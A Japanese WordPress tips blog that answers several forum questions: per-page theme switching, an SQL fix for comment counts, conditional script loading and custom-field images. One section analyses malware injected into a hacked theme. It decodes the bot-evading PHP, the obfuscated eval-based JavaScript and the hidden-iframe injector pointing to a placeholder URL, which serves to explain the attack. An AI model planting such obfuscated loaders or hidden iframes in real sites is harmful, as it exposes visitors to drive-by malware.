[WordPress] 固定ページによってテーマを切り替える

標題の通り、
特定のURL、固定ページのみ「theme」を切り替える
にはどのようにしたら良いでしょうか。

現在、Multi Device Switcherでユーザーエージェントを見て、
themeを分けているのですが、

ある固定ページ(URL)のみ、
themeを切り替えたくないのです。

何か良いアイデアがありましたら教えて下さい!!

via. 特定のURL、固定ページのみ「theme」を切り替える

改ざんされたサイトに埋め込まれたマルウェアコードの解析

先日来より(数ヶ月前)、テーマのindex.phpのヘッダー部分が以下のように書き換えられてしまい、正常に表示されません。

どのように対処するればよろしいのでしょうか?
<?php eval(base64_decode(‘ZXJyb3…’)); get_header(); ?>

via. WordPress > フォーラム » テーマのindex.phpが書き換えられる(クラッキングされてしまう)

改ざんされてマルウェアコードを埋め込まれる事例があとを絶たないすね。

このコードを base64_decode してみると
※base64_encode されてる部分と $botsUA は省略してます。

$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array(
	'12345',
	'alexa.com',
	'anonymouse.org',
	:
);
foreach ($botsUA as $bs) {
	if(strpos(strtolower($ua), $bs)!== false){
		$bot = true;
		break;
	}
}
if (!$bot){
        echo(base64_decode('PHNjcmlw...'));
}

で、さらに base64_decode
※ f[] の中身は省略してます

<script>
if(window.document)
	a=("urf3".split+'tv32hjtkln').substr(0,6);
aa=(Date+{}).substr(0,6);
if(a===aa)
	f=[-28,-28,68,65,...];
md='a'; q="q";
e=window.eval;
w=f; s='';
g='fro'+'mCharCod'+'e';
for(i=0;i<w.length;i++){
	s=s+String[g](37+w[i]);
}
if(a===aa)
	e('e(s)');
</script>

で最終的に e(‘e(s)’) の所で、こんな JavaScript を呼び出してます。
※ iframe 内の URL は置き換えてあります。

if (document.getElementsByTagName('body')[0]){
	iframer();
} else {
	document.write("< iframe src='http://example.com/i/i.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
	var f = document.createElement('iframe');
	f.setAttribute('src','http://example.com/i/i.php?go=1');
	f.style.visibility='hidden';
	f.style.position='absolute';
	f.style.left='0';
	f.style.top='0';
	f.setAttribute('width','10');
	f.setAttribute('height','10');
	document.getElementsByTagName('body')[0].appendChild(f);
}

不可視の iframe タグを埋め込んでるんですね。

[WordPress] 投稿のコメント数がおかしいときの対処法

先日、Wordpressのデータを、
「ダッシュボード」→「ツール」→「エクスポート」
の手順でバックアップを取り、新しいデータベース上に、
「ダッシュボード」→「ツール」→「インポート」
の手順でインポートしました。
無事に記事もコメントも復元できたと思っていたのですが、過去の記事のコメント数の表示が「0」になっていました。
コメントがインポートできていないのかと思いましたが、記事を表示してみるときちんとコメントも表示されていました。
しかし「コメントはまだありません」の表示も出ています。
正常な状態に戻したいのですが、どこから手をつけたらいいのかわかりません。
どなたかご教授いただけませんでしょうか?

via. コメントが付いている記事なのにコメント数が0と表示される

へー、エクスポート→インポートしたときは comment_count は再計算されないんだ。
以下の SQL 文一発で、再計算されるはず。

UPDATE wp_posts p
SET p.comment_count = (
  SELECT count( c.comment_ID )
  FROM wp_comments c
  WHERE p.ID = c.comment_post_ID
  AND c.comment_approved =1
  )

$table_prefix 設定してる場合は、適宜テーブル名変えてね。

[WordPress] ショートコードが存在したときだけ Javascript をロードする

ショートコードを使って、投稿の内容にJavascriptによる効果を付加するプラグインを作って使っていますが、現状では

add_action('init', 'load_jqtools_ini');
add_action('wp_head', 'start_jqtools');

を使って常時ロードしている構成です。
これをショートコードが存在したときにだけ、スクリプトの類をロードさせるようにするにはどのような仕掛けを施したらよいのでしょうか。

via WordPress › フォーラム » ショートコードが存在したときにだけJavascriptをロードさせたい

こんな感じで、$wp_query->posts に目的のショートコードが含まれているか正規表現でチェックし、無ければ wp_enqueue_script() を呼び出さないようにしてます。

add_action('wp_print_scripts', 'add_my_scripts');

function add_my_scripts() {
	if (!has_shortcode('shortcode'))
		return;
	wp_enqueue_script('hogehoge', 'http://example.com/fugafuga.js');
}

function has_shortcode($shortcode) {
	global $wp_query;

	$posts   = $wp_query->posts;
	$pattern = '/\[' . preg_quote($shortcode) . '[^\]]*\]/im';
	$found   = false;
	$hasTeaser = !( is_single() || is_page() );

	foreach($posts as $post) {
		if (isset($post->post_content)) {
			$post_content = $post->post_content;
			if ( $hasTeaser && preg_match('/<!--more(.*?)?-->/', $post_content, $matches) ) {
				$content = explode($matches[0], $post_content, 2);
				$post_content = $content[0];
			}

			if ( !empty($post_content) && preg_match($pattern, $post_content) ) {
				$found = true;
			}
		}
		if ( $found )
			break;
	}
	unset($posts);
	return $found;
}

[WordPress] カスタムフィールドの値によって画像を表示

カスタムフィールドテンプレートプラグインを使っています。
カスタムフィールドのチェックボックスで
[果物] □りんご □みかん □ばなな □ぶどう
があります。

「りんご」にチェックが入った時は「りんご」のイラストを
「みかん」にチェックが入った時は「みかん」のイラストを
「ばなな」と「ぶどう」にチェックが入った時は両方のイラストを
表示させるようにしたいのですが
どのように呼び出しタグを書いたら良いのでしょうか?

via カスタムフィールドの値が「りんご」の時は「りんご」の文字ではなく画

<?php
$fruits = (array)post_custom('果物');
foreach ($fruits as $fruit) {
  switch ($fruit) {
    case 'りんご':
      echo "<img src='apple.png' />\n";
      break;
    case 'みかん':
      echo "<img src='orange.png' />\n";
      break;
    case 'ばなな':
      echo "<img src='banana.png' />\n";
      break;
    case 'ぶどう':
      echo "<img src='grape.png' />\n";
      break;
  }
}
?>